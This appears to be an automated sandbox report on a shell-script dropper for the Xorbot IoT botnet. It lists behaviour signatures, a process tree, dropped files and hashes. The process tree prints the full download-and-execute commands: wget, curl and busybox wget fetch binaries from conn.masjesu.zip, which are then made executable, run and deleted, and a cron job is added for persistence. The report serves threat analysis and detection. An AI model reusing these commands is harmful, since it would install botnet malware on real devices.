Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09/02/2025, 04:31

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250209-e5kfyswrfr
  • SHA256 89d4b34ff293a5233b00b7e25af871fde898ec3dc2b8aacf6f32f948387d50d6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (964) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:700
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:705
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:707
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:729
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:732
      • /bin/chmod
        chmod 777 XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        ./XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
          PID:734
        • /bin/rm
          rm XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:785
          • /bin/chmod
            chmod 777 R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • File and Directory Permissions Modification
            PID:786
          • /tmp/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            ./R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
              PID:787
            • /bin/rm
              rm R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
              2⤵
                PID:789
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:790
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:791
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /bin/chmod
                chmod 777 UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • File and Directory Permissions Modification
                PID:812
              • /tmp/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                ./UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                  PID:814
                • /bin/rm
                  rm UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                  2⤵
                    PID:817
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:819
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:830
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:834
                  • /bin/chmod
                    chmod 777 pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • File and Directory Permissions Modification
                    PID:835
                  • /tmp/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    ./pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                      PID:836
                    • /bin/rm
                      rm pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                      2⤵
                        PID:838
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:839
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:840
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:842
                      • /bin/chmod
                        chmod 777 DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:843
                      • /tmp/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        ./DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                          PID:844
                        • /bin/rm
                          rm DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                          2⤵
                            PID:846
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:847
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:848
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:850
                          • /bin/chmod
                            chmod 777 cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • File and Directory Permissions Modification
                            PID:851
                          • /tmp/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            ./cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • Renames itself
                            • Reads runtime system information
                            PID:852
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:854
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:855
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:856
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:857
                                • /bin/rm
                                  rm cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                                  2⤵
                                    PID:859
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:862

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

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                                      Downloads

                                      DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ

                                      • Path /tmp/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                                      • Size 107KB
                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                      • MD5 SHA1 SHA512 SSDEEP

                                      R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO

                                      • Path /tmp/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9

                                      • Path /tmp/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                                      • Size 111KB
                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                      • MD5 SHA1 SHA512 SSDEEP

                                      XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8

                                      • Path /tmp/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
                                      • Size 177KB
                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                      • MD5 SHA1 SHA512 SSDEEP

                                      cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w

                                      • Path /tmp/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP

                                      pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q

                                      • Path /tmp/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.BQi7Hk

                                      • Path /var/spool/cron/crontabs/tmp.BQi7Hk
                                      • Size 210B
                                      • SHA256 f6b3d85b3c0e82f27545079c5c19faa4467417ac47968220bce97d0bd68160ed
                                      • MD5 SHA1 SHA512